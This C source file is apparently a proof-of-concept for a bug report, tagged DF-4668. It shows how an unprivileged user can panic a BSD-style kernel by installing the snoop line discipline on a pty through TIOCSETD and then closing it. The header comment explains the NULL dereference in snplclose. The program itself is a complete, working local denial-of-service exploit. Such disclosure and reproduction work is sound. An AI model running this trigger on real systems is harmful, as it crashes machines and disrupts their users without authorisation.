/*
 * DF-4668: unprivileged kernel NULL-deref panic via TIOCSETD to the
 * snoop line discipline + tty close.
 *
 * snplclose() (sys/dev/misc/snp/snp.c:129-148) assumes tp->t_sc is a
 * valid `struct snoop'.  TIOCSETD (sys/kern/tty.c:1128) lets ANY user
 * install any registered line discipline on a tty they own -- there is
 * no privilege check and no exclusion of the snoop discipline.  The
 * snoop l_open is plain ttyopen(), which never sets t_sc, so the tty is
 * left with t_line == snooplinedisc and t_sc == NULL.  Closing the tty
 * runs snplclose -> snp_down(NULL) -> read of snp->snp_blen at
 * NULL+48 -> kernel panic.
 *
 * Precondition: snp module loaded (kldload snp / device snp).
 * Trigger: plain unprivileged user, private pty.
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <libutil.h>

int main(void)
{
	int m, s, t, disc = -1;
	int ms[64], ss[64], nopen = 0;

	/*
	 * 1. Find which discipline numbers actually install (TIOCSETD runs
	 *    l_open; nodisc slots fail in l_noopen, snoop's ttyopen
	 *    succeeds).  Do NOT close the slaves yet: closing a slave whose
	 *    discipline is the snoop one is the trigger.  ldisc_register()
	 *    scans slots 7..8 and takes the LAST free one, so with snp.ko
	 *    loaded the highest installing index IS snooplinedisc (8).
	 */
	for (t = 0; t < 9; t++) {
		int cur = -1;
		if (openpty(&m, &s, NULL, NULL, NULL) != 0) {
			perror("openpty");
			return 1;
		}
		if (ioctl(s, TIOCSETD, &t) == 0 &&
		    ioctl(s, TIOCGETD, &cur) == 0 && cur == t) {
			disc = t;
			ms[nopen] = m;
			ss[nopen] = s;
			nopen++;
			continue;
		}
		close(m);
		close(s);	/* failed to install, closing is safe */
	}
	if (disc < 0) {
		fprintf(stderr, "no line disciplines?\n");
		return 1;
	}
	printf("[+] %d line disciplines registered; highest = %d "
	       "(snooplinedisc when snp.ko is loaded)\n", disc + 1, disc);
	fflush(stdout);

	/*
	 * 2. Close the slave parked on the highest discipline index.
	 *    snplclose() reads tp->t_sc (NULL) and calls snp_down(NULL):
	 *    panic at snp.c:517 dereferencing NULL+48.
	 */
	printf("[+] closing pty slave parked on discipline %d ...\n", disc);
	fflush(stdout);
	close(ss[nopen - 1]);
	close(ms[nopen - 1]);
	printf("[-] survived -- snoop discipline not loaded?\n");
	return 0;
}
